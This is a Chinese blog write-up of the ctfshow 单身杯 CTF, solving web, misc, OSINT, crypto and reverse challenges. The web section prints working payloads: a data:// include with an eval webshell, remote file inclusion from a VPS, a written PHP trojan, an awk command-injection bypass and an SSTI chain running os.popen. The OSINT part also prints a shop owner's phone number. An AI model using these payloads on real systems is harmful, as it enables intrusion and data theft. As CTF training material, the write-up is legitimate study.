ctfshow单身杯
目录
<1> web
(1)签到(data协议)
(2) easyPHP(awk执行命令)
(3) 姻缘测试(ssti)
(4) blog
<2> Misc
(1)misc签到
(2) 没大没小的串串
<3>osint部分
(1) 任性老板
(2) 蛤壳雪茄-1
<4> Crypto
(1) The Dancing Men
(2) base(对base进行栅栏的密文解密)
(3) 伪装成RSA的MUSC
<5> re
(1) re签到(base64代码)
(2) magic
<1> web
(1)签到(data协议)
error_reporting(0);highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){include $file;}
strrev 就是翻转字符串,这道题就要保证传入的file字符串反转一样。 同时include file
可以使用data协议,因为data协议php标记?>闭合后可以加任意字符不会影响。
file=data://text/plain,<?php eval($_POST['shell']); ?>>? ;)]'llehs'[TSOP_$(lave php?<,nialp/txet//:atad&shell=system('ls /');
发现 f1agaaa cat/f1agaaa 得到flag
ctfshow 单身杯(dsb)_nomv的博客-CSDN博客
除了这个解,看nomv师傅博客可知,这道题还存在远程文件包含
python3 -m http.server 81 开放一个81端口
file=http://vps:ip/1.php?id==di?php.1/pi:spv//:ptth1.php内容写入我们要执行的php代码
<?php//echo system("ls /");echo sysetm("cat /f1agaaa");
?>
注意一定要跟个?否则由于逆序无法包含
发现flag文件为 f1agaaa 更改1.php为 cat /f1agaaa 得到flag
(2) easyPHP(awk执行命令)
<?php
error_reporting(0);
highlight_file(__FILE__);$cmd = $_POST['cmd'];
$param = $_POST['param'];if(isset($cmd) && isset($param)){$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;shell_exec($cmd);
}
escapeshellcmd 和 escapeshellarg 函数
预期解是:cmd=sed¶m=/php\|POST\|exec/!dw1.php 生成1.php
sed '/php\|POST\|exec/!dw1.php'
然后 /1.php 传入 cmd=echo "<?php eval(\$_POST[1]);?>">2.php
写入木马文件到 2.php里 然后我们访问2.php
ls /发现了flag文件
非预期解:awk执行系统命令
awk | GTFOBins
就是将执行的命令语句输入到文件中并执行。因为是没有回显的,所以可以写入文件里,然后访问查看
写入ls />a命令到a文件 cmd=awk¶m=BEGIN {system("ls />a")}
之后访问/a 下载下来a文件,发现flag文件 f1agaaa
之后写入 cat /f1agaaa 命令到a文件再次访问/a 下载a文件打开即可获得flag
(3) 姻缘测试(ssti)
在源码中发现了/source
访问得到了源码:
def is_hacker(string):"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""if "{" in string and "}" in string :return Trueelse:return False
这里是用and判断的,我们可以分开写入 { 和 }
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('ls /').read()}}
发现flag.txt
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}
(4) blog
搞不明白,水平还不够,欠着。。。
<2> Misc
(1)misc签到
提示:
- 压缩包密码是5位字符
- lsb有内容
- flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线
根据提示爆破出密码:61f@X
解压后得到一张 jpg文件 文件末尾发现一大堆base64编码
解码后得到:PNG什么什么 肯定是一张png图片 我们再用base64转图片
补全二维码定位角,扫码。。。什么都没有 后来得知要将二维码反色后补全就能得到一半flag。
原话:与正常的二维码对比一下,会发现这个的黑白区域好像反了 。 emmm我还需要多练
用Stegsolve转换一下 然后再补上定位码
hex解码得到后半段flag:lue, far exceeds your belief}
提示说有lsb,把图片丢进zsteg一把梭后得到前半段flag
记得加 -a 不然显示nothing :(
最终flag为:ctfshow{Your_potential_value_far_exceeds_your_belief}
(2) 没大没小的串串
打乱了大小写的flag是 y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns
其中正确的flag的md5是 7513209051f455fa44d0fa5cd0f3e051
python爆破
# Leetcode784 字母大小全排列
import hashlib
def letterCasePermutation(s):result = []lens = len(s)if s == '':return resultdef dfs(currs, idx):if idx == lens:result.append(currs)returnif s[idx] >= 'a' and s[idx] <= 'z':dfs(currs + s[idx], idx + 1)dfs(currs + s[idx].upper(), idx + 1)elif s[idx] >= 'A' and s[idx] <= 'Z':dfs(currs + s[idx], idx + 1)dfs(currs + s[idx].lower(), idx + 1)else:dfs(currs + s[idx], idx + 1)dfs('', 0)return result
s="y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns"
a=letterCasePermutation(s)
for i in a:if hashlib.md5(i.encode('utf-8')).hexdigest()=="7513209051f455fa44d0fa5cd0f3e051":print("find it:",i)break
后面的题看了wp也不知原理,emmm脑洞不够,便不再复现了
<3>osint部分
(1) 任性老板
flag形式为:ctfshow{店名_店家手机号} 下载题目附件得到以下图片
解压之后我们得到了一张面馆的广告图。我们要根据这张图片溯源到店家名称及手机号。
感觉有一点社工题目的韵味了。
我们通过百度识图,在类似图片里得到了这张图片下面的内容。
我们百度搜索一下相关信息:
通过视频得知:这个店名应该就是:左撇子私房面
通过百度地图得知店家手机号为:15882424927
所以flag为:ctfshow{左撇子私房面_15882424927}
(2) 蛤壳雪茄-1
题目描述:
这张照片是在22年第一季度-第二季度之间拍的,请找出这家飞机的所属公司的官网地址。
例:ctfshow{www.mumuzi.com}
附件是一个飞机图片:
这次百度识图识别出一堆奇奇怪怪的玩意,用不得了。。。
yandex识图网上都说很不错:Yandex Images: search for images online or search by image
果然,识别出这个飞机部位应该是波音737 -200 飞机的某个部位,但是看他们的图片是白色的
我们谷歌搜索 black color Boeing737-200
所以这个飞机所属航空公司的官网为: Vols nolisés - Canada et États-Unis | Chrono Aviation
flag:ctfshow{www.chronoaviation.com}
<4> Crypto
(1) The Dancing Men
如题,舞动的小人
来自夏洛克福尔摩斯在《归来记》中侦探案件使用的一种加密方式
BUUCTF-Crypto-猪圈密码及其变种+银河密码+跳舞的小人_ASSOINT的博客-CSDN博客_银河密码
百度搜索得到了对应的解密图
please use underslash between every word with initials in capitals the flag is everyone loves taoshen
所以flag为:ctfshow{Everyone_Loves_Taoshen}
(2) base(对base进行栅栏的密文解密)
The flag is:YhNgZRO0Zc3vDxTjW5m4RdQZINYZUOm3wS0j2m5TcsM1LUYYOF23jjTtiyT9
ctfshow的base64编码是:Y3Rmc2hvdw==
栅栏密码栏数应该是6
所以base64编码为:Y3Rmc2hvd3s3NDQwMjgxZS1jZTI0LTRjNjUtOWY2Yi05ZmYyZmU5OTc4OTF9
解密得到flag
(3) 伪装成RSA的MUSC
解压后得到一个压缩包和一段文本:
.. .. ... . . .. ... .. .. ... . . .. ... .. .. . . ... . . ...
对照敲击码表得出 22 31 12 32 23 11 23 22 11 31 13 即GLBMHAHGALC
对应提示:nnkyiee是什么意思呢? 九键
得到:45264244252 即压缩包密码
得到了 p、q、c 但是e呢?
再看文本名称:套!都能套!
点阵可以转换为摩斯电码,1个.是.,两个是-三个是空格
-- ..- -- ..- --.. ..
mumuzi 再次九键转为数字
686894 得到了e
RSA e 不互素考点
import gmpy2
from Crypto.Util.number import *# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):n = p * qphi = (p - 1) * (q - 1)t = gmpy2.gcd(e, phi)d = gmpy2.invert(e // t, phi)m = pow(c, d, n)print(m)msg = gmpy2.iroot(m, t)print(msg)if msg[1]:print(long_to_bytes(msg[0]))p= 104791011181838632984653274103788907544368791187076335471213944302284807790748266682463882231027996693193572906324997830449026622973759383503770415564182978292591648950046318334646695444450310198889173256818225657021740635305655975465047235964535452899499225672868835617089387862240683251385991237767922785241
q= 90960275501044744928190829668121052091907954961680699856419749850071871964532625791461291878837850007468243999602408861075793822642812918261908705981765163097854558645253227202861087920836248185116835897960441132756288108873425215132591817120886993422056486860736156966942973556049071468967279588398766107387
e= 686894
c= 4760904535528937856481690262397732355407727622511444072793643008141049985355461179480947416206998527526080939575085820881304511476110146502666062305981955205407338190002810791950980724498999422997162030791074913110508848669455374727003737734373054800682699103953435264256125566100583042576647316240024759470816653960355845811060204737625557855881058175018971502763224693108395514674517119000539255761180454879538780379694450171070008832544248927030602002726819086629963953652235265972324121785879653123472819473679133833118153759368617324927859670207154545276222169571548729874270877516947380905110040442091750015568decrypt(p, q, e, c)
<5> re
(1) re签到(base64代码)
下载的文件拖入到IDA64中,F5调出代码
发现函数是经过三次be()函数之后,与一段base编码进行比较,是的话就会输出password
据说是base64编码函数,我还真没看明白....没研究过
不过猜测也应该差不多,我们之间反推,对strcmp函数处的字符串base64解码三次
得到ctfshow{dsb_re_sign_in_hsssssssss}
(2) magic
题目描述:3个密码只有1个是正确的
下载好附件我们拖入IDA中
查看main函数
发现是输入一个整数,然后作为参数调用checkToken函数,我们跟进查看checkToken函数
发现要同时满足checkSum,p,h 函数都返回true。
checkSum函数:
h函数:
p函数:
所以 该整数要满足的条件为:
1. 各位的数字加起来等于58
2. 是回文数
3. 是质数
ctfshow{9888889}
ctfshow单身杯相关推荐
- CTFshow单身杯 部分wp
前言:不会吧不会吧不会有人520521不约会打比赛吧 文章目录 1.单身杯热身题目 2.misc签到 3.没大没小的串串 4.任性老板 5.蛤壳雪茄-1 6.蛤壳雪茄-2 7.The Dancing ...
- ctfshow单身杯部分wp
web签到 题目代码 error_reporting(0); highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(s ...
- ctfshow单身杯(dsb)个人wp
目录 MISC签到 没大没小的串串 古典base re签到 pwn签到 MISC签到 wp直接都写在题目描述里面了 先进行一个破的爆 右键记事本打开发现base64编码 解码得到半个二维码 zsteg ...
- CTFSHOW新手杯MISC部分WriteUp
引文 之前复现了CTFSHOW新人杯的WEB方向部分题目,今天就复现一下MISC为主的题目,可能有些读者不太明白MISC方向是什么意思,简单来说就是"杂项",包括:隐写,压缩包处理 ...
- CTFshow月饼杯crypto部分wp
CTFshow月饼杯crypto部分wp crypto 1 题目描述: 密文如下: 第一行给出为自动密码,搜索到相关文章下载break_autokey.py和相关的词频统计脚本,修改ctext跑一下发 ...
- ctfshow七夕杯
ctfshow七夕杯misc海盗的密码WP 题目链接 题目描述 阿卜杜拉希.三哈.穆罕默德是一名来自索马里的海盗,当他不工作的时候,就喜欢窝在家里上上网,学学安全方面的知识. 听说他喜欢用ip地址做密 ...
- CTFshow 击剑杯 部分WP
摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...
- CTFSHOW: 36D杯 misc ez-qrcode
文章目录 前言 1.第一眼 2.格式信息 3.去掉掩码 4.数据解码 5.参考网站: 前言 本题为:CTFSHOW的36D杯 misc ez-qrcode 和攻防世界的qr-easy解法基本一模一样. ...
- CTFshow击剑杯osint——人家想玩嘛,人有点多超详细解法
首先,在这里跟师傅们说一声抱歉,因为这次是自己第一次比较正式的出Osint题,可能有一些地方没有注意到,没有认真审核,给师傅们带来了麻烦,真的很抱歉!! 以下是人家想玩嘛.人有点多的详细解法及思路: ...
最新文章
- mongo 创建索引_索引系列:2dsphere索引
- jvm第7节-锁(偏向锁,轻量锁,自旋锁)
- 一名 40 岁“老”程序员的反思~
- boost::graph模块实现二分图算法的测试程序
- bgi::detail::intersection_content用法的测试程序
- Java多线程之Callable、Future和FutureTask
- Gradle-jar-aar
- 《MFC游戏开发》笔记三 游戏贴图与透明特效的实现
- Matlab中一个很有用的函数:regionprops
- 转DateTimePicker 控件的使用
- 自动驾驶7-3 最终项目解决方案 Final Project Solution
- 传奇架设教程GOM引擎微端设置方法
- 网络基础知识详解(图解版)
- 知识图谱-KGE-模型:概述【KGE模型充当打分函数的作用】【负采样】【不同模型在不同KG上的表现不一致,需要尝试对比】
- matlab中a2=poly(p2),插值与拟合matlab实现
- 「TShark学习」TShark抓包笔记
- CodeForces - 1004B - Sonya and Exhibition(纯思维题)
- Flex系列教程——flex的下载与安装
- 【云原生 | Kubernetes 系列】K8s 实战 一文学会如何从 PodSecurityPolicy 迁移到内置的 PodSecurity 准入控制器
- Web前端开发是做什么的?学Web前端有前途吗?